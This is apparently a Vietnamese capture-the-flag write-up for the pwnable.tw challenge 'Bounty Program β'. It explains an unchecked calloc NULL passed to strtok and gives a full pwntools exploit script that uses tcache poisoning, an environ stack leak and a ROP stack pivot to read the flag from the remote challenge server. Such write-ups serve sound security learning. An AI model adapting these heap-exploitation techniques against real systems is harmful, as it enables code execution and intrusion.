Bounty Program β
Vuln: Không kiểm tra NULL trước khi sử dụng strtok().
tl;dr: Bounty Program α
Recon
Mitigations và code của chall beta này gần như giống với chall alpha, với một số thay đổi ở code.
AddVulnType()
void AddVulnType()
{
unsigned int size; // [rsp+8h] [rbp-18h]
int price; // [rsp+Ch] [rbp-14h]
char *type_name; // [rsp+10h] [rbp-10h]
char *types; // [rsp+18h] [rbp-8h]
printf("Size:");
size = read_long();
types = (char *)calloc(1uLL, size);
puts("(Note:You can add many types at the same time)");
puts("(Example: SQLI,Buffer overflow,LFI)");
printf("Type:");
read_input(types, size);
for ( type_name = strtok(types, ","); type_name; type_name = strtok(0LL, ",") )
{
printf("type: %s\n", type_name);
printf("Price:");
price = read_long();
if ( AllocateType(type_name, price) )
puts("Success !");
else
puts(&byte_319F);
}
free(types);
}Biến cục bộ size là unsigned int thay vì int64 như alpha.
Do là unsigned int, nên max chỉ nhập đc là 0xffffffff. Khi debug trên local thì rất bí, nghĩ rằng bug đã bị fix do kích thước 0xffffffff vẫn cấp phát đc, ko return về null, mặc dù trên remote thì vẫn đc. Và mình mới nhận ra lại rằng, return về null khi ko còn đủ bộ nhớ. Mà mình debug với ko giới hạn RAM, tất nhiên là vẫn cấp phát đc.
Trên server họ có thể sử dụng máy ảo, giới hạn RAM về nhỏ hơn nên calloc() size như vậy return về 0. Vậy mình cần limit lại lượng RAM process đc dùng trong exploit, thì mới debug ở local đc.
SubmitReport()
void SubmitReport()
{
unsigned __int64 size; // [rsp+10h] [rbp-20h]
BugReport *new_report; // [rsp+18h] [rbp-18h]
Product *product; // [rsp+20h] [rbp-10h]
unsigned __int64 product_id; // [rsp+28h] [rbp-8h]
unsigned __int64 type_id; // [rsp+28h] [rbp-8h]
new_report = (BugReport *)calloc(1uLL, 0x140uLL);
if ( !new_report )
{
puts("Error !");
_exit(-4);
}
ShowProduct();
printf("Product ID:");
product_id = read_long();
if ( product_id <= 7
&& Products[product_id]
&& (product = Products[product_id], ShowTypes(), printf("Type:"), type_id = read_long(), type_id <= 7)
&& VulnTypes[type_id] )
{
new_report->type = VulnTypes[type_id];
++new_report->type->ref_count;
new_report->owner = user;
++LODWORD(user->report_count);
printf("Title:");
read_input(new_report->title, 255);
printf("ID:");
LODWORD(new_report->id) = read_long();
printf("Length of descripton:");
size = read_long();
if ( size <= 0x407 )
size = 0x408LL;
new_report->description = (char *)calloc(1uLL, size);// not using malloc
if ( !new_report->description )
{
puts("Error !");
_exit(-5);
}
printf("Descripton:"); // not more filling random bytes
read_input(new_report->description, size);
new_report->description_size = size;
new_report->next = 0LL;
new_report->prev = 0LL;
new_report->evaluated = 0;
AddReportToProduct(product, new_report);
}
else
{
puts(&byte_319F);
free(new_report);
}
}Cấp phát cho description ko còn dùng malloc() nữa, mà calloc(), và ko còn điền random bytes từ /dev/urandom vào description.
Nếu mình nhớ ko nhầm thì cấp phát User cũng bị thay thành calloc(). Nên bây giờ ko còn lời gọi malloc() nào nữa, ko còn lấy trực tiếp từ tcache được. Có strdup() thì vẫn gọi malloc() nhưng chỉ ghi đc đến null là dừng.
Solve
Ở chall này thì mình định sử dụng env var để thay đổi ptmalloc thế nào đó cho chall dễ nhai hơn, nhưng bản thân mình thấy ko có tác dụng mấy :/
Nên mình để nguyên tcache, giờ chỉ có thể lấy chunk trong tcache bằng strdup(), vì calloc() nó sẽ bỏ qua tcache.
Mình vẫn tận dụng chiêu cũ ở chall alpha đó là ghi đè 0x2c10 thành 0x0010 để control cả tcache, nhưng bây giờ chỉ strdup() nên lấy chunk từ tcache mình fengshui hơi rối rắm 1 chút.
Vì mục tiêu cuối cùng vẫn cần phải ROP nên mình cần leak stack. Để leak stack mình ghi địa chỉ environ vào description của một BugReport. Mình chán ghi đè hooks rồi, nên để ROP mình làm hơi phức tạp:
- Vì mình ko thể nào nghĩ ra cách kiểm soát fastbin hay unsortedbin, thoả mãn các check mà ko bị corrupt, nên mình ko thể calloc() thẳng đến return address mà ROP.
- Mình chơi bài sử dụng 2 lần strdup() (lấy chunk từ tcache đã kiểm soát) một cách cẩn thận để ghi pop rsi; ret + ROP chain address (trên heap) vào return address của hàm Bounty(), mình ko ghi vào AddVulnType() vì vướng types khi free().
- Khi return, mình pivot stack đến heap mà thực thi ROP chain.
Script
#!/usr/bin/env python3
from pwn import *
import os
import resource
def set_limits():
resource.setrlimit(resource.RLIMIT_AS, (1 * 1024 * 1024 * 1024, 1 * 1024 * 1024 * 1024))
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
e = context.binary = ELF('./bounty_program_patched', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
TERMINAL = 3
USE_PTY = True
GDB_ATTACH_DELAY = 1
match TERMINAL:
case 1:
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
case 2:
context.terminal = ["tmux", "split-window", "-h"]
case 3:
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
"-w", "0", "split-pane", "-V", "-s", "0.5",
"wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
case _:
raise ValueError(f"Unknown terminal: {TERMINAL}")
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# brva 0x1601
# brva 0x15E9
# brva 0x20B7
# brva 0x1434
# brva 0x1355
# brva 0x1652
# brva 0x1555
# brva 0x1B4A
brva 0x1434
# brva 0x1601
# brva 0x183D
continue
'''
def attach(p):
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(GDB_ATTACH_DELAY)
def conn():
if args.LOCAL:
env = os.environ.copy()
# env["GLIBC_TUNABLES"] = "glibc.malloc.tcache_count=0"
if USE_PTY:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, env=env, preexec_fn=set_limits)
else:
p = process([e.path], env=env, preexec_fn=set_limits)
sleep(0.025)
return p
else:
host = "chall.pwnable.tw"
port = 10410
return remote(host, port)
class TcachePerthread:
MALLOC_ALIGNMENT = 0x10
MINSIZE = 0x20
def __init__(self):
self.num_slots = [0] * 64
self.entries = [0] * 64
@staticmethod
def size2idx(size):
return (size - TcachePerthread.MINSIZE) // TcachePerthread.MALLOC_ALIGNMENT
def set_count(self, size, count):
self.num_slots[self.size2idx(size)] = count
return self
def set_entry(self, size, ptr):
self.entries[self.size2idx(size)] = ptr
return self
def pack(self):
data = b''
for count in self.num_slots:
data += p8(count)
for entry in self.entries:
data += p64(entry)
return data
def Login(username, password):
slan(p, b'choice', 1)
sa(p, b'Username', username)
sa(p, b'Password', password)
sleep(0.05)
def Register(username, password, contact):
slan(p, b'choice', 2)
sa(p, b'Username', username)
sa(p, b'Password', password)
sa(p, b'Contact', contact)
sleep(0.05)
def AddNewProduct(name, company, comment):
slan(p, b'choice', 1)
sa(p, b'Name', name)
sa(p, b'Company', company)
sa(p, b'Comment', comment)
sleep(0.05)
def AddVulnType(size, type, price):
slan(p, b'choice', 2)
slan(p, b'Size', size)
sa(p, b'Type', type)
if price != -1:
slan(p, b'Price', price)
sleep(0.05)
def SubmitBugReport(product_id, type_id, title, bug_id, desc_len, description):
slan(p, b'choice', 3)
slan(p, b'Product', product_id)
slan(p, b'Type:', type_id)
sa(p, b'Title', title)
slan(p, b'ID', bug_id)
slan(p, b'Length', desc_len)
sa(p, b'Descripton', description)
sleep(0.05)
def RemoveVulnType(size, type):
slan(p, b'choice', 4)
slan(p, b'Size', size)
sa(p, b'Type', type)
sleep(0.05)
def ShowBugDetail(product_id):
slan(p, b'choice', 6)
slan(p, b'ID', product_id)
sleep(0.05)
def DeleteReport(product_id, bug_id):
slan(p, b'choice', 8)
slan(p, b'Product ID', product_id)
slan(p, b'Bug ID', bug_id)
username = password = b'ngtuonghung'
ub_size = 0x420
tcache_size = 0x240
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
if not args.LOCAL:
sa(p, b'Name', username)
slan(p, b'Value', password)
print("Register and login")
Register(username, password, b'A')
Login(username, password)
# Bounty
slan(p, b'choice', 1)
print("Leaking heap address")
AddVulnType(tcache_size, b'A', 0)
AddVulnType(tcache_size, b'B', 0) # This only works since calloc skip tcache
slan(p, b'choice', 2)
slan(p, b'Size', -1)
sa(p, b'Type', b'0')
ru(p, b'type: ')
heap_base = leak_bytes(b'\0' + rn(p, 5), 0x500)
lg("heap base", heap_base)
# Hoping for heap base address ends with 0x0000
if heap_base & 0xffff != 0:
print("Failed attempt, we're unlucky this time")
p.close()
continue
print("We're lucky this time")
print("Leaking libc address")
AddVulnType(ub_size, b'C', 0)
slan(p, b'choice', 2)
slan(p, b'Size', -1)
sa(p, b'Type', b'0')
ru(p, b'type: ')
libc.address = leak_bytes(b'\0' + rn(p, 5), 0x3ec000)
lg("libc base", libc.address)
# Clear types to create more
RemoveVulnType(ub_size, b'XSS')
RemoveVulnType(ub_size, b'DoS')
RemoveVulnType(ub_size, b'A')
RemoveVulnType(ub_size, b'B')
RemoveVulnType(ub_size, b'C')
AddNewProduct(b'iphone 18 pro max vip premium', b'4pple', b'A')
SubmitBugReport(0, 0, b'A', 0, 0x2000-0x130, b'A')
# Clear unsortedbin
AddVulnType(ub_size, A(0x210-1), 0)
# Allocatae chunk ends with 0x2c10 and free it to tcache bin 0x250
RemoveVulnType(tcache_size, b'A')
# Overwrite 0x2c with null, works since calloc() skip tcache
AddVulnType(0x240, b'\0', -1)
slan(p, b'choice', 2)
slan(p, b'Size', -1)
sa(p, b'Type', b'\0')
slan(p, b'Price', 0)
# Remove type to create more
RemoveVulnType(ub_size, A(0x210-1))
# Take 1 chunk from tcache 0x250 using strdup()
AddVulnType(ub_size, A(tcache_size - 1), 0)
# Allocate at 0x0010 using strdup()
AddVulnType(ub_size, b'B' * (tcache_size - 1), 0)
# Free to put in unsortedbin for later calloc()
RemoveVulnType(ub_size, b'B' * (tcache_size - 1))
# Remove types to create more
RemoveVulnType(ub_size, b'RCE')
RemoveVulnType(ub_size, A(tcache_size - 1))
# Control tcache
tcache = TcachePerthread()
tcache.set_count(tcache_size + 0x10, 0)
# Overwrite bug description pointer to environ to leak stack
desc = heap_base + 0xce8
tcache.set_entry(0x20, desc)
AddVulnType(tcache_size, tcache.pack()[:tcache_size - 1], -1)
print("Leaking stack address")
environ = libc.symbols['__environ']
lg("environ", environ)
AddVulnType(ub_size, flat(A(0x10), environ), 0)
ShowBugDetail(0)
ru(p, b'Descripton > ')
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
# Control entire tcache again using the same trick above
AddVulnType(ub_size, b'B' * (tcache_size - 1), 0)
RemoveVulnType(ub_size, b'B' * (tcache_size - 1))
tcache = TcachePerthread()
# Prevent freeing to unsortedbin to avoid corruption
tcache.set_count(0x250, 0)
# To write pop rsp into return address of Bounty()
tcache.set_entry(0x30, stack - 0x128)
# To write rsp value after pop rsp
tcache.set_entry(0x20, stack - 0x108)
AddVulnType(0x240, tcache.pack()[:tcache_size - 1], -1)
pop_rax = libc.address + 0x00000000000439c8
pop_rdi = libc.address + 0x000000000002155f
pop_rsi = libc.address + 0x0000000000023e6a
pop_rdx = libc.address + 0x0000000000001b96
pop_rsp = libc.address + 0x000000000011bd7c
syscall = libc.address + 0x00000000000d2975
ROP_chain_addr = heap_base + 0x3260
flag_path = ROP_chain_addr + 0xd8
flag_buf = flag_path + 0x20
ROP_chain = flat(
# open("/home/bounty_program/flag", 0, 0)
pop_rdi, flag_path,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 2,
syscall,
# read(4, buf, 0x100)
pop_rdi, 4, # 3 is /dev/urandom
pop_rsi, flag_buf,
pop_rdx, 0x100,
pop_rax, 0,
syscall,
# write(1, buf, 0x100)
pop_rdi, 1,
pop_rsi, flag_buf,
pop_rdx, 0x100,
pop_rax, 1,
syscall,
b'/home/bounty_program/flag\0'
)
# Write ROP chain onto heap
SubmitBugReport(0, 0, b'A', 0, 0x100, ROP_chain)
attach(p)
sleep(0.5)
# Stack pivot to heap to execute ROP chain
AddVulnType(ub_size, p64(ROP_chain_addr),0)
AddVulnType(ub_size, flat(A(0x18), pop_rsp),0)
# Capture the flag
slan(p, b'Your choice', 0)
print(f'Flag: {ra(p, 2)}')
p.close()
breakSide note
Ko hiểu sao bài này mình nảy ra khá nhiều ý tưởng :)) Nhưng đều khá khó thực hiện.
Một trong số đó là mình định thay đổi max size của fastbins thành 0x410 bằng cách ghi vào global_max_fast, rồi làm đầy tcache để chunk rơi vào fastbins, để calloc() có thể lấy chunk đó và ROP. Nhưng mà mình nhớ là nó vướng cái index gì đó, do fastbins chỉ có 10 slot đến 0x80, đây là hẳn một technique khác để out-of-bound write vào libc thì phải?